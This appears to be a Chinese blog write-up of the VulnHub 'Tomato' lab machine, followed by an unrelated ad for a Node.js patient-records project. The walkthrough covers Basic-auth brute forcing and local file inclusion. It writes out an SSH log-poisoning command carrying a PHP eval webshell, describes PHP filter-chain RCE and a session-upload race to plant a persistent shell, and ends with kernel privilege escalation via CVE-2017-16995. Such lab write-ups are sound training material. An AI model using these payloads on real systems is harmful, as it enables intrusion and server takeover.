vulnhub靶机tomato记录

https://www.vulnhub.com/entry/tomato-1,557/

过程

用nmap对目标主机做全端口扫描,dirb做目录扫描,结果如下:

dirb结果
nmap结果
8888端口开放一个web服务,存在Basic认证,试了爆破无果,sun-answerbook是一个在线文档系统,但不知道具体版本,测了未授权访问的历史漏洞,发现不存在。

进入antibot_image路径下,找到info.php文件,访问发现是phpinfo信息,在注释中找到了文件包含的命令。但根据phpinfo,allow_url_include是Off,不能进行远程文件包含。
文件包含

Basic认证爆破

basic认证,即在请求的Header中添加一个请求头,内容为“用户名:密码”的base64的值。

爆破也容易,把payload设置为字典,添加两个预处理,第一个时添加前缀可以为用户名+冒号例如:“admin:”,第二个预处理为base64编码。

SSH写日志getshell

22端口关闭,但2211端口上运行的也是ssh服务。ssh日志记录在/var/log/auth.log,例如我们使用用户名123尝试登录,登录失败后,用户名将被记录在日志中。

那么使用登录命令:ssh '<?php @eval($_POST["a"]); ?>'@192.168.6.174 -p 2211就可以将一句话木马写入该日志文件,从而getshell。
包含ssh日志

PHP过滤器无文件RCE

PHP过滤器(PHP Filter)原是PHP中验证和过滤数据的工具,例如我们可以使用php://filter/string.rot13/resource=对字符串执行ROT13转换。无文件RCE的原理是利用php过滤器中的convert.iconv.UTF8.CSISO2022KR会始终将\x1b$)C添加到待转字符串之前,而convert.base64-decode会忽略掉任何无效的base64字符串。

因此可以利用一些字符串编码的转换,对\x1b$)C进行转换,使得只有我们想要的字符在整段字符串中是“有效”的,再利用base64的编码与解码,将“无效”的删除掉。最初的博文是做了BASE64可见字符的转换表,php_filter_chain_generator在此基础上,做了更多可见字符的转换表。

php filter链生成
RCE截图

SESSION_UPLOAD_PROGRESS getshell

根据phpinfo,拿到session保存的位置:/var/lib/php/sessions。且session.auto
session.save_path的值
session.upload_progress.x的值
不过这里的session.auto_start的值为Off,不会自动化初始Session。到这里我想,既然可以读到php文件了,那是否可以去找有初始化session的文件来利用呢?

很遗憾没有找到。但为了验证猜想,在获得root权限后,新写入一个test文件,这个文件什么内容都没有,只有一句session_start();
创建test.php文件
本地写一个html文件,内容为:
html POC
随便上传一个文件,主要是为了让php生成session。
burp payload设置1
设置空payload,但数量大,不断发包,维持恶意session文件的存储。此时若结合条件竞争,上传一个不死马,并不断访问,即可getshell。
burp配置payload2
写入shell成功

提权

这个提权没什么好说的,内核提权找payload。searchsploit linux 4.4.0用的内核提权最终找到: CVE-2017-16995 (45010)。靶机上没有gcc,在kali上编译后下载到靶机上执行。gcc 45010.c -o pwn -static

总结

  1. 本地文件包含对策:SESSION_UPLOAD_PROGRESS getshell、PHP过滤器链RCE、日志写shell
  2. 利用SESSION_UPLOAD_PROGRESS写恶意session时只需要php启用session即可,不需要该文件session有意义。
  • 10
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
项目:– JavaScript 中的患者数据管理系统 患者数据管理系统是为医院开发的 node JS 项目。通过使用此系统,您可以轻松访问患者数据,它具有成本效益,可改善患者护理和数据安全性。不仅如此,它还减少了错误范围。在运行项目之前,您需要下载 node.js。 这个患者数据管理项目包含 javascript、node.js 和 CSS。我们必须让服务器监听端口 3000,并使用 JSON 在客户端和服务器之间交换数据。这个项目会不断询问您有关插件更新的信息,因此请保持互联网畅通。此系统允许您执行 crud 操作。在这里,您是系统的管理员。您还可以添加所需的员工人数。此外,您还可以更新患者记录。该系统功能齐全且功能齐全。 要运行此项目,您需要在计算机上安装NodeJS并使用现代浏览器,例如 Google Chrome、  Mozilla Firefox。ReactJS项目中的此项目可免费下载源代码。有关项目演示,请查看下面的图像滑块。 对于手动安装 1.将主项目文件夹解压到任意目录 2.从 cmd 设置项目目录的路径 3. 输入命令“npm install” 4.完成后输入命令“npm start” 5.现在,您将获得一个 localhost:portnumber,并转到该 URL 演示: 该项目为国外大神项目,可以作为毕业设计的项目,也可以作为大作业项目,不用担心代码重复,设计重复等,如果需要对项目进行修改,需要具备一定基础知识。 注意:如果装有360等杀毒软件,可能会出现误报的情况,源码本身并无病毒,使用源码时可以关闭360,或者添加信任。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值